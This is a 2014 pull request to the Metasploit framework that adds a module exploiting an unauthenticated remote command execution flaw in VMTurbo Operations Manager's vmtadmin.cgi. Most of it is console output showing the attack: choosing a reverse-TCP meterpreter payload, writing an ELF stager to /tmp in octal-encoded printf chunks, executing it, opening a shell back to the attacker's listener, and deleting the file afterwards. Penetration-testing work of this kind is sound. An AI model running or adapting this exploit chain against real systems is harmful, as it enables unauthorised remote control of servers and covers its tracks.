rapid7/metasploit-framework — pull request #3638 by epinna (2014-08-11 15:02:42+00:00)
Title: Add VMTurbo Operations Manager 'vmtadmin.cgi' RCE module.

This module exploits a RCE vulnerability in 'cgi-bin/vmtadmin.cgi' to execute arbitrary commands
and spawn meterpreter/shell sessions.

* Homepage: http://vmturbo.com/
* Tested on: VMTurbo Operations Manager Virtual Appliance versions 4.5 and 4.6

### Usage:
* Download VMTurbo Operation Manager Virtual Appliance
* The web interface asks for a free licence (can be required on the product website), but should be vulnerable also if not already activated
* Run module

### Example verbose output

```
msf exploit(vmturbo_vmtadmin_exec_noauth) > set rhost 192.168.1.190
rhost => 192.168.1.190
msf exploit(vmturbo_vmtadmin_exec_noauth) > set lhost 192.168.1.253
lhost => 192.168.1.253
msf exploit(vmturbo_vmtadmin_exec_noauth) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(vmturbo_vmtadmin_exec_noauth) > set verbose true
verbose => true
msf exploit(vmturbo_vmtadmin_exec_noauth) > run

[*] Started reverse handler on 192.168.1.253:4444
[*] Writing 155 bytes in 2 chunks of 286 bytes to /tmp/ZHNg7
[*] Sent command /usr/bin/printf '\177\105\114\106\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0\124\200\4\10\64\0\0\0\0\0\0\0\0\0\0\0\64\0\40\0\1\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\200\4\10\0\200\4\10\233\0\0\0\342\0\0\0\7\0\0\0\0\20\0\0\61\333\367\343\123\103\123\152\2\260\146\211\341\315\200\227\133\150\300\250\1\375\150\2\0' > '/tmp/ZHNg7'
[*] Next chunk is 169 bytes
[*] Sent command /usr/bin/printf '\21\134\211\341\152\146\130\120\121\127\211\341\103\315\200\262\7\271\0\20\0\0\211\343\301\353\14\301\343\14\260\175\315\200\133\211\341\231\266\14\260\3\315\200\377\341' >> '/tmp/ZHNg7'
[*] Sent command /bin/chmod +x /tmp/ZHNg7
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 192.168.1.190
[*] Sent command /tmp/ZHNg7&
[*] Meterpreter session 2 opened (192.168.1.253:4444 -> 192.168.1.190:59886) at 2014-08-11 16:02:02 +0200
[!] Deleting /tmp/ZHNg7 payload file
[*] Sent command /bin/rm /tmp/ZHNg7

meterpreter > sysinfo
Computer : vmturbo
OS : Linux vmturbo 3.7.10-1.28-default #1 SMP Mon Feb 3 14:11:15 UTC 2014 (c9a2c6c) (x86_64)
Architecture : x86_64
Meterpreter : x86/linux
meterpreter >
```

### Example standard output

```
msf exploit(vmturbo_vmtadmin_exec_noauth) > run

[*] Started reverse handler on 192.168.1.253:4444
[*] Sending payload to /tmp/SiCk writing 155 bytes in 2 chunks of 286 bytes
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 192.168.1.190
[*] Meterpreter session 1 opened (192.168.1.253:4444 -> 192.168.1.190:41456) at 2014-08-11 16:32:49 +0200
[!] Deleting /tmp/SiCk payload file

meterpreter >
````